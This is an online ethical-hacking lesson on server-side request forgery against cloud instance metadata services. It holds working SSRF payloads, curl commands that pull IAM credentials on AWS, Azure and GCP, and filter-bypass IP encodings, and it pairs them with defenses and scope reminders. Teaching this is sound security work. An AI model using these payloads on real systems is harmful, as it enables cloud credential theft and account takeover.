Metadata and SSRF
Cloud-specific attacks.
Metadata and SSRF is a free Ethical Hacking Academy lesson on CoddyKit — lesson 4 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Ethical Hacking Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
The Instance Metadata Service
Every cloud VM can query a special internal endpoint to learn about itself: the Instance Metadata Service (IMDS). Critically, it can also hand out the temporary credentials of the role attached to the instance.
- AWS / GCP / Azure all expose metadata at
169.254.169.254 - It is reachable only from inside the instance
- It requires no authentication from local processes
This convenience becomes a weapon when combined with SSRF.
Reading AWS Metadata (IMDSv1)
In the legacy IMDSv1, a single GET request returns metadata, including role credentials. No token needed.
This is exactly what makes IMDSv1 dangerous when an app has SSRF.
# List roles attached to the instance
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Retrieve the temporary credentials for a role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/app-roleWhat SSRF Is
Server-Side Request Forgery (SSRF) is a vulnerability where an attacker tricks a server into making HTTP requests on their behalf. The server becomes a proxy into places the attacker cannot reach directly.
- A URL parameter that the server fetches
- A webhook, PDF generator, or image-resize feature
- Anything that takes a user-supplied URL
The classic SSRF target in the cloud is the metadata endpoint.
SSRF Meets Metadata
The deadly combination: an app with SSRF lets the attacker point the server at 169.254.169.254. The server fetches the instance's IAM credentials and returns them.
The attacker now holds cloud credentials, often the start of a full account takeover.
# Vulnerable endpoint fetches any URL the user supplies
GET /fetch?url=http://example.com/image.png
# Attacker redirects it to the metadata service
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-roleUsing Stolen Credentials
The metadata response contains an access key, secret key, and session token. The attacker exports them and immediately acts as the instance role.
From here they enumerate permissions and look for escalation paths.
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Confirm the stolen identity
aws sts get-caller-identityIMDSv2 as a Defense
AWS introduced IMDSv2 to blunt SSRF. It requires a session token obtained via an HTTP PUT request first, which most SSRF primitives cannot perform (they only do GET).
Enforcing IMDSv2 and setting a low hop limit dramatically reduces metadata theft via SSRF.
# IMDSv2: first PUT to get a session token
TOKEN=$(curl -X PUT 'http://169.254.169.254/latest/api/token' \
-H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')
# Then GET using that token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/Azure and GCP Metadata
The other providers also expose metadata, with their own quirks. Both require a special header, which is itself a small SSRF mitigation.
- Azure requires
Metadata: true - GCP requires
Metadata-Flavor: Google
# Azure: fetch a managed-identity access token
curl -H 'Metadata: true' \
'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'
# GCP: fetch a service-account token
curl -H 'Metadata-Flavor: Google' \
'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'SSRF Bypass Techniques
Defenders often blocklist 169.254.169.254. Attackers bypass naive filters with alternate IP encodings and redirects.
- Decimal IP:
2852039166 - Octal/hex encodings of the same address
- DNS rebinding to a name that resolves to the metadata IP
- Open redirects that bounce the request to the metadata URL
Robust defenses must validate the resolved IP, not the raw string.
# The metadata IP in alternate notations (all 169.254.169.254)
http://2852039166/latest/meta-data/
http://0251.0376.0251.0376/latest/meta-data/Other SSRF Targets
Metadata is the headline, but SSRF reaches more internal resources:
- Internal admin panels and dashboards bound to localhost
- Internal databases and caches (Redis, Elasticsearch)
- Kubernetes API server and kubelet endpoints
- Other microservices not exposed externally
SSRF effectively pierces the network perimeter from a trusted vantage point.
Defending Against the Chain
Breaking the SSRF-to-metadata chain takes layered defense:
- Enforce IMDSv2 and set the metadata hop limit to 1
- Validate and allowlist outbound URLs in fetch features
- Block requests to link-local and private IP ranges after DNS resolution
- Apply least privilege to instance roles so stolen creds are limited
Least-privilege roles ensure that even a successful theft yields little.
Test Only What You're Authorized To
SSRF testing can reach sensitive internal systems by design. Be disciplined:
- Confirm the target host and cloud account are in scope
- Do not pivot into systems outside the engagement
- Stop and report once you have proven credential access
Reaching metadata is high impact, demonstrate it carefully, do not run wild with stolen keys.
Quick Check
Why does enforcing IMDSv2 help defend against SSRF-based credential theft?
Recap: Metadata and SSRF
You learned the most impactful cloud-specific attack chain.
- The metadata service at 169.254.169.254 hands out instance role credentials
- SSRF lets an attacker make the server fetch that endpoint
- Stolen temporary credentials enable account takeover
- IMDSv2 blocks most SSRF by requiring a PUT-based token
- Defend with URL allowlisting, IP validation, and least-privilege roles
That completes Cloud Pentesting. Next course: Bug Bounty Hunting.
Frequently asked questions
Is the “Metadata and SSRF” lesson free?
Yes — the full text of “Metadata and SSRF” is free to read here on the web, and the Ethical Hacking Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Ethical Hacking Academy course, upgrade to CoddyKit PRO.
What will I learn in “Metadata and SSRF”?
Cloud-specific attacks. You practise Ethical Hacking Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Ethical Hacking Academy?
No prior experience is required. Ethical Hacking Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 4 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Metadata and SSRF” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Ethical Hacking Academy lesson?
Yes. Every Ethical Hacking Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- Cloud Attack Surface
- IAM Misconfigurations
- S3 and Storage Exposure
- Metadata and SSRF